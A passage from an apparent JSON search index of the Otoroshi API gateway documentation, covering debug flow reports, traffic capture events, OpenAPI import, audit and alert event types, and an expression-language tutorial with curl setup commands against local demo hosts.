\"filtered_plugins\" : [ ]\n }\n }, {\n \"task\" : \"tenant-check\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 26097,\n \"ctx\" : null\n }, {\n \"task\" : \"check-global-maintenance\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 14132,\n \"ctx\" : null\n }, {\n \"task\" : \"call-before-request-callbacks\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 56671,\n \"ctx\" : null\n }, {\n \"task\" : \"extract-tracking-id\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 5207,\n \"ctx\" : null\n }, {\n \"task\" : \"call-pre-route-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 39786,\n \"ctx\" : null\n }, {\n \"task\" : \"call-access-validator-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 25311,\n \"ctx\" : null\n }, {\n \"task\" : \"enforce-global-limits\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 296617,\n \"ctx\" : {\n \"remaining_quotas\" : {\n \"authorizedCallsPerSec\" : 10000000,\n \"currentCallsPerSec\" : 10000000,\n \"remainingCallsPerSec\" : 10000000,\n \"authorizedCallsPerDay\" : 10000000,\n \"currentCallsPerDay\" : 10000000,\n \"remainingCallsPerDay\" : 10000000,\n \"authorizedCallsPerMonth\" : 10000000,\n \"currentCallsPerMonth\" : 10000000,\n \"remainingCallsPerMonth\" : 10000000\n }\n }\n }, {\n \"task\" : \"choose-backend\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 368899,\n \"ctx\" : {\n \"backend\" : {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n }\n }, {\n \"task\" : \"transform-request\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 506363,\n \"ctx\" : null\n }, {\n \"task\" : \"call-backend\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085407,\n \"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 2,\n \"duration_ns\" : 2163470,\n \"ctx\" : null\n }, {\n \"task\" : \"transform-response\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085407,\n \"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 279887,\n \"ctx\" : null\n }, {\n \"task\" : \"stream-response\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085407,\n \"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 382952,\n \"ctx\" : null\n }, {\n \"task\" : \"trigger-analytics\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085408,\n \"stop_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 812036,\n \"ctx\" : null\n }, {\n \"task\" : \"request-success\",\n \"start\" : 1644915085408,\n \"start_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"stop\" : 1644915085408,\n \"stop_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 0,\n \"ctx\" : null\n } ]\n }\n}\n```\n\n## Debugging\n\nwith the new reporting capabilities, the new engine also have debugging capabilities built in. In you enable the `debug_flow` flag on a route (or service), the resulting `RequestFlowReport` will be enriched with contextual informations between each plugins of the route plugin pipeline\n\n@@@ note\nyou can also use the `Try it` feature of the new route designer UI to get debug reports automatically for a specific call\n@@@\n\n## HTTP traffic capture\n\nusing the `capture` flag, a `TrafficCaptureEvent` is generated for each http request/response. This event will contains request and response body. Those events can be exported using @ref:[data exporters](../entities/data-exporters.md) as usual. You can also use the @ref:[GoReplay file exporter](../entities/data-exporters.md#goreplay-file) that is specifically designed to ingest those events and create [GoReplay](https://goreplay.org/) files (`.gor`)\n\n@@@ warning\nthis feature can have actual impact on CPU and RAM consumption\n@@@\n\n```json\n{\n \"@id\": \"d5998b0c4-cb08-43e6-9921-27472c7a56e0\",\n \"@timestamp\": 1651828801115,\n \"@type\": \"TrafficCaptureEvent\",\n \"@product\": \"otoroshi\",\n \"@serviceId\": \"route_2b2670879-131c-423d-b755-470c7b1c74b1\",\n \"@service\": \"test-server\",\n \"@env\": \"prod\",\n \"route\": {\n \"id\": \"route_2b2670879-131c-423d-b755-470c7b1c74b1\",\n \"name\": \"test-server\"\n },\n \"request\": {\n \"id\": \"152250645825034725600000\",\n \"int_id\": 115,\n \"method\": \"POST\",\n \"headers\": {\n \"Host\": \"test-server-next-gen.oto.tools:9999\",\n \"Accept\": \"*/*\",\n \"Cookie\": \"fifoo=fibar\",\n \"User-Agent\": \"curl/7.64.1\",\n \"Content-Type\": \"application/json\",\n \"Content-Length\": \"13\",\n \"Remote-Address\": \"127.0.0.1:57660\",\n \"Timeout-Access\": \"\",\n \"Raw-Request-URI\": \"/\",\n \"Tls-Session-Info\": \"Session(1651828041285|SSL_NULL_WITH_NULL_NULL)\"\n },\n \"cookies\": [\n {\n \"name\": \"fifoo\",\n \"value\": \"fibar\",\n \"path\": \"/\",\n \"domain\": null,\n \"http_only\": true,\n \"max_age\": null,\n \"secure\": false,\n \"same_site\": null\n }\n ],\n \"tls\": false,\n \"uri\": \"/\",\n \"path\": \"/\",\n \"version\": \"HTTP/1.1\",\n \"has_body\": true,\n \"remote\": \"127.0.0.1\",\n \"client_cert_chain\": null,\n \"body\": \"{\\\"foo\\\":\\\"bar\\\"}\"\n },\n \"backend_request\": {\n \"url\": \"http://localhost:3000/\",\n \"method\": \"POST\",\n \"headers\": {\n \"Host\": \"localhost\",\n \"Accept\": \"*/*\",\n \"Cookie\": \"fifoo=fibar\",\n \"User-Agent\": \"curl/7.64.1\",\n \"Content-Type\": \"application/json\",\n \"Content-Length\": \"13\"\n },\n \"version\": \"HTTP/1.1\",\n \"client_cert_chain\": null,\n \"cookies\": [\n {\n \"name\": \"fifoo\",\n \"value\": \"fibar\",\n \"domain\": null,\n \"path\": \"/\",\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": true\n }\n ],\n \"id\": \"152260631569472064900000\",\n \"int_id\": 33,\n \"body\": \"{\\\"foo\\\":\\\"bar\\\"}\"\n },\n \"backend_response\": {\n \"status\": 200,\n \"headers\": {\n \"Date\": \"Fri, 06 May 2022 09:20:01 GMT\",\n \"Connection\": \"keep-alive\",\n \"Set-Cookie\": \"foo=bar\",\n \"Content-Type\": \"application/json\",\n \"Transfer-Encoding\": \"chunked\"\n },\n \"cookies\": [\n {\n \"name\": \"foo\",\n \"value\": \"bar\",\n \"domain\": null,\n \"path\": null,\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": false\n }\n ],\n \"id\": \"152260631569472064900000\",\n \"status_txt\": \"OK\",\n \"http_version\": \"HTTP/1.1\",\n \"body\": \"{\\\"headers\\\":{\\\"host\\\":\\\"localhost\\\",\\\"accept\\\":\\\"*/*\\\",\\\"user-agent\\\":\\\"curl/7.64.1\\\",\\\"content-type\\\":\\\"application/json\\\",\\\"cookie\\\":\\\"fifoo=fibar\\\",\\\"content-length\\\":\\\"13\\\"},\\\"method\\\":\\\"POST\\\",\\\"path\\\":\\\"/\\\",\\\"body\\\":\\\"{\\\\\\\"foo\\\\\\\":\\\\\\\"bar\\\\\\\"}\\\"}\"\n },\n \"response\": {\n \"id\": \"152250645825034725600000\",\n \"status\": 200,\n \"headers\": {\n \"Date\": \"Fri, 06 May 2022 09:20:01 GMT\",\n \"Connection\": \"keep-alive\",\n \"Set-Cookie\": \"foo=bar\",\n \"Content-Type\": \"application/json\",\n \"Transfer-Encoding\": \"chunked\"\n },\n \"cookies\": [\n {\n \"name\": \"foo\",\n \"value\": \"bar\",\n \"domain\": null,\n \"path\": null,\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": false\n }\n ],\n \"status_txt\": \"OK\",\n \"http_version\": \"HTTP/1.1\",\n \"body\": \"{\\\"headers\\\":{\\\"host\\\":\\\"localhost\\\",\\\"accept\\\":\\\"*/*\\\",\\\"user-agent\\\":\\\"curl/7.64.1\\\",\\\"content-type\\\":\\\"application/json\\\",\\\"cookie\\\":\\\"fifoo=fibar\\\",\\\"content-length\\\":\\\"13\\\"},\\\"method\\\":\\\"POST\\\",\\\"path\\\":\\\"/\\\",\\\"body\\\":\\\"{\\\\\\\"foo\\\\\\\":\\\\\\\"bar\\\\\\\"}\\\"}\"\n },\n \"user-agent-details\": null,\n \"origin-details\": null,\n \"instance-number\": 0,\n \"instance-name\": \"dev\",\n \"instance-zone\": \"local\",\n \"instance-region\": \"local\",\n \"instance-dc\": \"local\",\n \"instance-provider\": \"local\",\n \"instance-rack\": \"local\",\n \"cluster-mode\": \"Leader\",\n \"cluster-name\": \"otoroshi-leader-9hnv5HUXpbCZD7Ee\"\n}\n```\n\n## openapi import\n\nas the new router offers possibility to match exactly on a single path and a single method, and with the help of the `service` entity, it is now pretty easy to import openapi document as `route-compositions` entities. To do that, a new api has been made available to perform the translation. Be aware that this api **DOES NOT** save the entity and just return the result of the translation. \n\n```sh\ncurl -X POST \\\n -H 'Content-Type: application/json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n 'http://otoroshi-api.oto.tools:8080/api/route-compositions/_openapi' \\\n -d '{\"domain\":\"oto-api-proxy.oto.tools\",\"openapi\":\"https://raw.githubusercontent.com/MAIF/otoroshi/master/otoroshi/public/openapi.json\"}'\n```\n\n@@@ div { .centered-img }\n\n@@@\n\n" + }, + { + "name": "events-and-analytics.md", + "id": "/topics/events-and-analytics.md", + "url": "/topics/events-and-analytics.html", + "title": "Events and analytics", + "content": "# Events and analytics\n\nOtoroshi is a solution fully traced : calls to services, access to UI, creation of resources, etc.\n\n@@@ warning\nYou have to use [Elastic](https://www.elastic.co) to enable analytics features in Otoroshi\n@@@\n\n## Events\n\n* Analytics event\n* Gateway event\n* TCP event\n* Healthcheck event\n\n## Event log\n\nOtoroshi can read his own exported events from an Elasticsearch instance, set up in the danger zone. Theses events are available from the UI, at the following route: `https://xxxxx/bo/dashboard/events`.\n\nThe `Global events` page display all events of **GatewayEvent** type. This page is a way to quickly read an interval of events and can be used in addition of a Kibana instance.\n\nFor each event, a list of information will be displayed and an additional button `content` to watch the full content of the event, at the JSON format. \n\n## Alerts \n\n* `MaxConcurrentRequestReachedAlert`: happening when the handled requests number are greater than the limit of concurrent requests indicated in the global configuration of Otoroshi\n* `CircuitBreakerOpenedAlert`: happening when the circuit breaker pass from closed to opened\n* `CircuitBreakerClosedAlert`: happening when the circuit breaker pass from opened to closed\n* `SessionDiscardedAlert`: send when an admin discarded an admin sessions\n* `SessionsDiscardedAlert`: send when an admin discarded all admin sessions\n* `PanicModeAlert`: send when panic mode is enabled\n* `OtoroshiExportAlert`: send when otoroshi global configuration is exported\n* `U2FAdminDeletedAlert`: send when an admin has deleted an other admin user\n* `BlackListedBackOfficeUserAlert`: send when a blacklisted user has tried to acccess to the UI\n* `AdminLoggedInAlert`: send when an user admin has logged to the UI\n* `AdminFirstLogin`: send when an user admin has successfully logged to the UI for the first time\n* `AdminLoggedOutAlert`: send when an user admin has logged out from Otoroshi\n* `GlobalConfigModification`: send when an user amdin has changed the global configuration of Otoroshi\n* `RevokedApiKeyUsageAlert`: send when an user admin has revoked an apikey\n* `ServiceGroupCreatedAlert`: send when an user admin has created a service group\n* `ServiceGroupUpdatedAlert`: send when an user admin has updated a service group\n* `ServiceGroupDeletedAlert`: send when an user admin has deleted a service group\n* `ServiceCreatedAlert`: send when an user admin has created a tcp service\n* `ServiceUpdatedAlert`: send when an user admin has updated a tcp service\n* `ServiceDeletedAlert`: send when an user admin has deleted a tcp service\n* `ApiKeyCreatedAlert`: send when an user admin has crated a new apikey\n* `ApiKeyUpdatedAlert`: send when an user admin has updated a new apikey\n* `ApiKeyDeletedAlert`: send when an user admin has deleted a new apikey\n\n## Audit\n\nWith Otoroshi, any admin action and any sucpicious/alert action is recorded. These records are stored in Otoroshi’s datastore (only the last n records, defined by the `otoroshi.events.maxSize` config key). All the records can be send through the analytics mechanism (WebHook, Kafka, Elastic) for external and/or further usage. We recommand sending away those records for security reasons.\n\nOtoroshi keep the following list of information for each executed action:\n\n* `Date`: moment of the action\n* `User`: name of the owner\n* `From`: IP of the concerned user\n* `Action`: action performed by the person. The possible actions are:\n\n * `ACCESS_APIKEY`: User accessed a apikey\n * `ACCESS_ALL_APIKEYS`: User accessed all apikeys\n * `CREATE_APIKEY`: User created a apikey\n * `UPDATE_APIKEY`: User updated a apikey\n * `DELETE_APIKEY`: User deleted a apikey\n * `ACCESS_AUTH_MODULE`: User accessed an Auth. module\n * `ACCESS_ALL_AUTH_MODULES`: User accessed all Auth. modules\n * `CREATE_AUTH_MODULE`: User created an Auth. module\n * `UPDATE_AUTH_MODULE`: User updated an Auth. module\n * `DELETE_AUTH_MODULE`: User deleted an Auth. module\n * `ACCESS_CERTIFICATE`: User accessed a certificate\n * `ACCESS_ALL_CERTIFICATES`: User accessed all certificates\n * `CREATE_CERTIFICATE`: User created a certificate\n * `UPDATE_CERTIFICATE`: User updated a certificate\n * `DELETE_CERTIFICATE`: User deleted a certificate\n * `ACCESS_CLIENT_CERT_VALIDATOR`: User accessed a client cert. validator\n * `ACCESS_ALL_CLIENT_CERT_VALIDATORS`: User accessed all client cert. validators\n * `CREATE_CLIENT_CERT_VALIDATOR`: User created a client cert. validator\n * `UPDATE_CLIENT_CERT_VALIDATOR`: User updated a client cert. validator\n * `DELETE_CLIENT_CERT_VALIDATOR`: User deleted a client cert. validator\n * `ACCESS_DATA_EXPORTER_CONFIG`: User accessed a data exporter config\n * `ACCESS_ALL_DATA_EXPORTER_CONFIG`: User accessed all data exporter config\n * `CREATE_DATA_EXPORTER_CONFIG`: User created a data exporter config\n * `UPDATE_DATA_EXPORTER_CONFIG`: User updated a data exporter config\n * `DELETE_DATA_EXPORTER_CONFIG`: User deleted a data exporter config\n * `ACCESS_GLOBAL_JWT_VERIFIER`: User accessed a global jwt verifier\n * `ACCESS_ALL_GLOBAL_JWT_VERIFIERS`: User accessed all global jwt verifiers\n * `CREATE_GLOBAL_JWT_VERIFIER`: User created a global jwt verifier\n * `UPDATE_GLOBAL_JWT_VERIFIER`: User updated a global jwt verifier\n * `DELETE_GLOBAL_JWT_VERIFIER`: User deleted a global jwt verifier\n * `ACCESS_SCRIPT`: User accessed a script\n * `ACCESS_ALL_SCRIPTS`: User accessed all scripts\n * `CREATE_SCRIPT`: User created a script\n * `UPDATE_SCRIPT`: User updated a script\n * `DELETE_SCRIPT`: User deleted a Script\n * `ACCESS_SERVICES_GROUP`: User accessed a service group\n * `ACCESS_ALL_SERVICES_GROUPS`: User accessed all services groups\n * `CREATE_SERVICE_GROUP`: User created a service group\n * `UPDATE_SERVICE_GROUP`: User updated a service group\n * `DELETE_SERVICE_GROUP`: User deleted a service group\n * `ACCESS_SERVICES_FROM_SERVICES_GROUP`: User accessed all services from a services group\n * `ACCESS_TCP_SERVICE`: User accessed a tcp service\n * `ACCESS_ALL_TCP_SERVICES`: User accessed all tcp services\n * `CREATE_TCP_SERVICE`: User created a tcp service\n * `UPDATE_TCP_SERVICE`: User updated a tcp service\n * `DELETE_TCP_SERVICE`: User deleted a tcp service\n * `ACCESS_TEAM`: User accessed a Team\n * `ACCESS_ALL_TEAMS`: User accessed all teams\n * `CREATE_TEAM`: User created a team\n * `UPDATE_TEAM`: User updated a team\n * `DELETE_TEAM`: User deleted a team\n * `ACCESS_TENANT`: User accessed a Tenant\n * `ACCESS_ALL_TENANTS`: User accessed all tenants\n * `CREATE_TENANT`: User created a tenant\n * `UPDATE_TENANT`: User updated a tenant\n * `DELETE_TENANT`: User deleted a tenant\n * `SERVICESEARCH`: User searched for a service\n * `ACTIVATE_PANIC_MODE`: Admin activated panic mode\n\n\n* `Message`: explicit message about the action (example: the `SERVICESEARCH` action happened when an `user searched for a service`)\n* `Content`: all information at JSON format\n\n## Global metrics\n\nThe global metrics are displayed on the index page of the Otoroshi UI. Otoroshi provides information about :\n\n* the number of requests served\n* the amount of data received and sended\n* the number of concurrent requests\n* the number of requests per second\n* the current overhead\n\nMore metrics can be found on the **Global analytics** page (available at https://xxxxxx/bo/dashboard/stats).\n\n## Monitoring services\n\nOnce you have declared services, you can monitor them with Otoroshi. \n\nLet's starting by setup Otoroshi to push events to an elastic cluster via a data exporter. Then you will can setup Otoroshi events read from an elastic cluster. Go to `settings (cog icon) / Danger Zone` and expand the `Analytics: Elastic cluster (read)` section.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service healthcheck\n\nIf you have defined an health check URL in the service descriptor, you can access the health check page from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service live stats\n\nYou can also monitor live stats like total of served request, average response time, average overhead, etc. The live stats page can be accessed from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service analytics\n\nYou can also get some aggregated metrics. The analytics page can be accessed from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n## New proxy engine\n\n### Debug reporting\n\nwhen using the @ref:[new proxy engine](./engine.md), when a route or the global config. enables traffic capture using the `debug_flow` flag, events of type `RequestFlowReport` are generated\n\n### Traffic capture\n\nwhen using the @ref:[new proxy engine](./engine.md), when a route or the global config. enables traffic capture using the `capture` flag, events of type `TrafficCaptureEvent` are generated. It contains everything that compose otoroshi input http request and output http responses\n" + }, + { + "name": "expression-language.md", + "id": "/topics/expression-language.md", + "url": "/topics/expression-language.html", + "title": "Expression language", + "content": "# Expression language\n\n\n\n- [Documentation and examples](#documentation-and-examples)\n- [Test the expression language](#test-the-expression-language)\n\nThe expression language provides an important mechanism for accessing and manipulating Otoroshi data on different inputs. For example, with this mechanism, you can mapping a claim of an inconming token directly in a claim of a generated token (using @ref:[JWT verifiers](../entities/jwt-verifiers.md)). You can add information of the service descriptor traversed such as the domain of the service or the name of the service. This information can be useful on the backend service.\n\n## Documentation and examples\n\n@@@div { #expressions }\n \n@@@\n\nIf an input contains a string starting by `${`, Otoroshi will try to evaluate the content. If the content doesn't match a known expression,\nthe 'bad-expr' value will be set.\n\n## Test the expression language\n\nYou can test to get the same values than the right part by creating these following services. \n\n```sh\n# Let's start by downloading the latest Otoroshi.\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n\n# Once downloading, run Otoroshi.\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n\n# Create an authentication module to protect the following route.\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/auths \\\n-H \"Otoroshi-Client-Id: admin-api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\"type\":\"basic\",\"id\":\"auth_mod_in_memory_auth\",\"name\":\"in-memory-auth\",\"desc\":\"in-memory-auth\",\"users\":[{\"name\":\"User Otoroshi\",\"password\":\"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\"email\":\"user@foo.bar\",\"metadata\":{\"username\":\"roger\"},\"tags\":[\"foo\"],\"webauthn\":null,\"rights\":[{\"tenant\":\"*:r\",\"teams\":[\"*:r\"]}]}],\"sessionCookieValues\":{\"httpOnly\":true,\"secure\":false}}\nEOF\n\n\n# Create a proxy of the mirror.otoroshi.io on http://api.oto.tools:8080\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"id\": \"expression-language-api-service\",\n \"name\": \"expression-language\",\n \"enabled\": true,\n \"frontend\": {\n \"domains\": [\n \"api.oto.tools/\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\"\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"pass_with_user\": true,\n \"wipe_backend_request\": true,\n \"update_quotas\": true\n },\n \"plugin_index\": {\n \"validate_access\": 1,\n \"transform_request\": 2,\n \"match_route\": 0\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"config\": {\n \"pass_with_apikey\": true,\n \"auth_module\": null,\n \"module\": \"auth_mod_in_memory_auth\"\n },\n \"plugin_index\": {\n \"validate_access\": 1\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AdditionalHeadersIn\",\n \"config\": {\n \"headers\": {\n \"my-expr-header.apikey.unknown-tag\": \"${apikey.tags['0':'no-found-tag']}\",\n \"my-expr-header.request.uri\": \"${req.uri}\",\n \"my-expr-header.ctx.replace-field-all-value\": \"${ctx.foo.replaceAll('o','a')}\",\n \"my-expr-header.env.unknown-field\": \"${env.java_h:not-found-java_h}\",\n \"my-expr-header.service-id\": \"${service.id}\",\n \"my-expr-header.ctx.unknown-fields\": \"${ctx.foob|ctx.foot:not-found}\",\n \"my-expr-header.apikey.metadata\": \"${apikey.metadata.foo}\",\n \"my-expr-header.request.protocol\": \"${req.protocol}\",\n \"my-expr-header.service-domain\": \"${service.domain}\",\n \"my-expr-header.token.unknown-foo-field\": \"${token.foob:not-found-foob}\",\n \"my-expr-header.service-unknown-group\": \"${service.groups['0':'unkown group']}\",\n \"my-expr-header.env.path\": \"${env.PATH}\",\n \"my-expr-header.request.unknown-header\": \"${req.headers.foob:default value}\",\n \"my-expr-header.service-name\": \"${service.name}\",\n \"my-expr-header.token.foo-field\": \"${token.foob|token.foo}\",\n \"my-expr-header.request.path\": \"${req.path}\",\n \"my-expr-header.ctx.geolocation\": \"${ctx.geolocation.foo}\",\n \"my-expr-header.token.unknown-fields\": \"${token.foob|token.foob2:not-found}\",\n \"my-expr-header.request.unknown-query\": \"${req.query.foob:default value}\",\n \"my-expr-header.service-subdomain\": \"${service.subdomain}\",\n \"my-expr-header.date\": \"${date}\",\n \"my-expr-header.ctx.replace-field-value\": \"${ctx.foo.replace('o','a')}\",\n \"my-expr-header.apikey.name\": \"${apikey.name}\",\n \"my-expr-header.request.full-url\": \"${req.fullUrl}\",\n \"my-expr-header.ctx.default-value\": \"${ctx.foob:other}\",\n \"my-expr-header.service-tld\": \"${service.tld}\",\n \"my-expr-header.service-metadata\": \"${service.metadata.foo}\",\n \"my-expr-header.ctx.useragent\": \"${ctx.useragent.foo}\",\n \"my-expr-header.service-env\": \"${service.env}\",\n \"my-expr-header.request.host\": \"${req.host}\",\n \"my-expr-header.config.unknown-port-field\": \"${config.http.ports:not-found}\",\n \"my-expr-header.request.domain\": \"${req.domain}\",\n \"my-expr-header.token.replace-header-value\": \"${token.foo.replace('o','a')}\",\n \"my-expr-header.service-group\": \"${service.groups['0']}\",\n \"my-expr-header.ctx.foo\": \"${ctx.foo}\",\n \"my-expr-header.apikey.tag\": \"${apikey.tags['0']}\",\n \"my-expr-header.service-unknown-metadata\": \"${service.metadata.test:default-value}\",\n \"my-expr-header.apikey.id\": \"${apikey.id}\",\n \"my-expr-header.request.header\": \"${req.headers.foo}\",\n \"my-expr-header.request.method\": \"${req.method}\",\n \"my-expr-header.ctx.foo-field\": \"${ctx.foob|ctx.foo}\",\n \"my-expr-header.config.port\": \"${config.http.port}\",\n \"my-expr-header.token.unknown-foo\": \"${token.foo}\",\n \"my-expr-header.date-with-format\": \"${date.format('yyy-MM-dd')}\",\n \"my-expr-header.apikey.unknown-metadata\": \"${apikey.metadata.myfield:default value}\",\n \"my-expr-header.request.query\": \"${req.query.foo}\",\n \"my-expr-header.token.replace-header-all-value\": \"${token.foo.replaceAll('o','a')}\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nCreate an apikey or use the default generate apikey.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/apikeys' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"clientId\": \"api-apikey-id\",\n \"clientSecret\": \"api-apikey-secret\",\n \"clientName\": \"api-apikey-name\",\n \"description\": \"api-apikey-id-description\",\n \"authorizedGroup\": \"default\",\n \"enabled\": true,\n \"throttlingQuota\": 10,\n \"dailyQuota\": 10,\n \"monthlyQuota\": 10,\n \"tags\": [\"foo\"],\n \"metadata\": {\n \"fii\": \"bar\"\n }\n}\nEOF\n```\n\nThen try to call the first service.\n\n```sh\ncurl http://api.oto.tools:8080/api/\\?foo\\=bar \\\n-H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJmb28iOiJiYXIifQ.lV130dFXR3bNtWBkwwf9dLmfsRVmnZhfYF9gvAaRzF8\" \\\n-H \"Otoroshi-Client-Id: api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: api-apikey-secret\" \\\n-H \"foo: bar\" | jq\n```\n\nThis will returns the list of the received headers by the mirror.\n\n```json\n{\n ...\n \"headers\": {\n ...\n \"my-expr-header.date\": \"2021-11-26T10:54:51.112+01:00\",\n \"my-expr-header.ctx.foo\": \"no-ctx-foo\",\n \"my-expr-header.env.path\": \"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin\",\n \"my-expr-header.apikey.id\": \"admin-api-apikey-id\",\n \"my-expr-header.apikey.tag\": \"one-tag\",\n \"my-expr-header.service-id\": \"expression-language-api-service\",\n \"my-expr-header.apikey.name\": \"Otoroshi Backoffice ApiKey\",\n \"my-expr-header.config.port\": \"8080\",\n \"my-expr-header.request.uri\": \"/api/?foo=bar\",\n \"my-expr-header.service-env\": \"prod\",\n \"my-expr-header.service-tld\": \"oto.tools\",\n \"my-expr-header.request.host\": \"api.oto.tools:8080\",\n \"my-expr-header.request.path\": \"/api/\",\n \"my-expr-header.service-name\": \"expression-language\",\n \"my-expr-header.ctx.foo-field\": \"no-ctx-foob-foo\",\n \"my-expr-header.ctx.useragent\": \"no-ctx-useragent.foo\",\n \"my-expr-header.request.query\": \"bar\",\n \"my-expr-header.service-group\": \"default\",\n \"my-expr-header.request.domain\": \"api.oto.tools\",\n \"my-expr-header.request.header\": \"bar\",\n \"my-expr-header.request.method\": \"GET\",\n \"my-expr-header.service-domain\": \"api.oto.tools\",\n \"my-expr-header.apikey.metadata\": \"bar\",\n \"my-expr-header.ctx.geolocation\": \"no-ctx-geolocation.foo\",\n \"my-expr-header.token.foo-field\": \"no-token-foob-foo\",\n \"my-expr-header.date-with-format\": \"2021-11-26\",\n \"my-expr-header.request.full-url\": \"http://api.oto.tools:8080/api/?foo=bar\",\n \"my-expr-header.request.protocol\": \"http\",\n \"my-expr-header.service-metadata\": \"no-meta-foo\",\n \"my-expr-header.ctx.default-value\": \"other\",\n \"my-expr-header.env.unknown-field\": \"not-found-java_h\",\n \"my-expr-header.service-subdomain\": \"api\",\n \"my-expr-header.token.unknown-foo\": \"no-token-foo\",\n \"my-expr-header.apikey.unknown-tag\": \"one-tag\",\n \"my-expr-header.ctx.unknown-fields\": \"not-found\",\n 